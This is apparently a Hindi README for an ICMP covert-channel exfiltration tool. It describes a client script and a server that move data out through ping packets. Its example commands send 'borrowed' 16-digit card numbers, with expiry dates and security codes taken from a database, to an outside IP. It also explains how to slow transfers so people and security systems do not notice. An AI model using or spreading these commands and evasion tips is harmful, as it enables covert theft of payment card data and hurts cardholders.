
ICMP के साथ डेटा निकालना
ICMP Exfil आपको वैध ICMP पैकेट के माध्यम से डेटा संचारित करने की अनुमति देता है। आप क्लाइंट स्क्रिप्ट का उपयोग करके वह डेटा पास करते हैं जिसे आप बाहर निकालना चाहते हैं, फिर जिस डिवाइस पर आप संचारित कर रहे हैं उस पर आप सर्वर चलाते हैं। कोई भी देखने वाला—मानव या सुरक्षा प्रणाली—केवल वैध ICMP पैकेट देखेगा, पैकेट की संरचना में कुछ भी दुर्भावनापूर्ण नहीं है। आपका डेटा ICMP पैकेट के अंदर छिपा हुआ भी नहीं है, इसलिए पैकेट को देखने से यह पता नहीं चलता कि क्या निकाला गया था।

Martino Jones, martinojones.com।
अभी, मैंने केवल ASCII वर्णों के लिए समर्थन जोड़ा है। आप उन सभी चीज़ों को बाहर निकाल सकते हैं जिन्हें ASCII वर्णों में दर्शाया जा सकता है (जैसे अक्षर और संख्याएँ)। उदाहरण के लिए: आपने कुछ अच्छे 16 अंकों के नंबर उधार लिए, तो आप क्लाइंट स्क्रिप्ट का उपयोग करके उन नंबरों को अपने सर्वर पर भेज सकते हैं ./ping.py --ascii "4111111111111111"।
आपके पास सर्वर सेट करने के दो विकल्प हैं जहाँ भेजना है। आप या तो --ip का उपयोग कर सकते हैं या आप ipToPing नामक स्क्रिप्ट में डिफ़ॉल्ट IP सेट कर सकते हैं।
यदि आप थोड़ा और धैर्य रखना चाहते हैं, और लोगों के लिए यह नोटिस करना कठिन बनाना चाहते हैं कि आप डेटा निकाल रहे हैं, तो आप --wait का उपयोग करके न्यूनतम समय + वह समय निर्दिष्ट कर सकते हैं जो डेटा स्थानांतरित होने में गुज़रना चाहिए। इस पर अभी भी काम चल रहा है... इसलिए आपको यह रूपांतरण स्वयं करना होगा, लेकिन मुझे इसे जोड़ने में अधिक समय नहीं लगना चाहिए... साथ ही यह बहुत मायने नहीं रखता क्योंकि अधिकांश लोग और सुरक्षा प्रणालियाँ अभी तक इसका पता भी नहीं लगाती हैं।
यदि आप पिंग्स को गुज़रते हुए देखना चाहते हैं तो आप --show का उपयोग कर सकते हैं।
जब आप सर्वर प्रारंभ करना चाहते हैं तो आप बस sudo python3 server.py करते हैं। आपको कुछ और करने की आवश्यकता नहीं है। जब आपका काम हो जाए, तो आपको बस Control+C दबाना होगा। अभी सर्वर में सुधार की आवश्यकता है, इसे प्राप्त डेटा के आधार पर इनपुट मैप करने की आवश्यकता है, अभी मैंने केवल एक क्लाइंट द्वारा सर्वर को पिंग करने के साथ इसका परीक्षण किया है, निश्चित रूप से इसे ट्यून करने की आवश्यकता है। आधार तो पहले से ही है, बस रीसेट को एक साथ रखने की आवश्यकता है।
मुझे एक डेटाबेस मिला जो इन अच्छे 16 अंकों की संख्याओं से भरा है, मुझे उन्हें आगे के शोध के लिए सहेजने की आवश्यकता है, इसलिए मैं उन्हें file नामक फ़ाइल में सहेजता हूँ:
कमांड:./ping.py --ip 1.2.3.4 --asciiFile file
फ़ाइल सामग्री: 4587965312457852 01/15 456 Martino Jones | 4567965382457452 03/16 236 Martino Joe
एन्कोडेड डेटा: ['0110100', '0110101', '0111000', '0110111', '0111001', '0110110', '0110101', '0110011', '0110001', '0110010', '0110100', '0110101', '0110111', '0111000', '0110101', '0110010', '0100000', '0110000', '0110001', '0101111', '0110001', '0110101', '0100000', '0110100', '0110101', '0110110', '0100000', '1001101', '1100001', '1110010', '1110100', '1101001', '1101110', '1101111', '0100000', '1001010', '1101111', '1101110', '1100101', '1110011', '0100000', '1111100', '0100000', '0110100', '0110101', '0110110', '0110111', '0111001', '0110110', '0110101', '0110011', '0111000', '0110010', '0110100', '0110101', '0110111', '0110100', '0110101', '0110010', '0100000', '0110000', '0110011', '0101111', '0110001', '0110110', '0100000', '0110010', '0110011', '0110110', '0100000', '1001101', '1100001', '1110010', '1110100', '1101001', '1101110', '1101111', '0100000', '1001010', '1101111', '1100101', '0001010']
सर्वर:
Calculating offsets
4 5 8 7 9 6 5 3 1 2 4 5 7 8 5 2 0 1 / 1 5 4 5 6 M a r t i n o J o n e s | 4 5 6 7 9 6 5 3 8 2 4 5 7 4 5 2 0 3 / 1 6 2 3 6 M a r t i n o J o e
यदि आप मदद करना चाहते हैं तो कई चीज़ें हैं जिन्हें मुझे अभी भी जोड़ने की आवश्यकता है: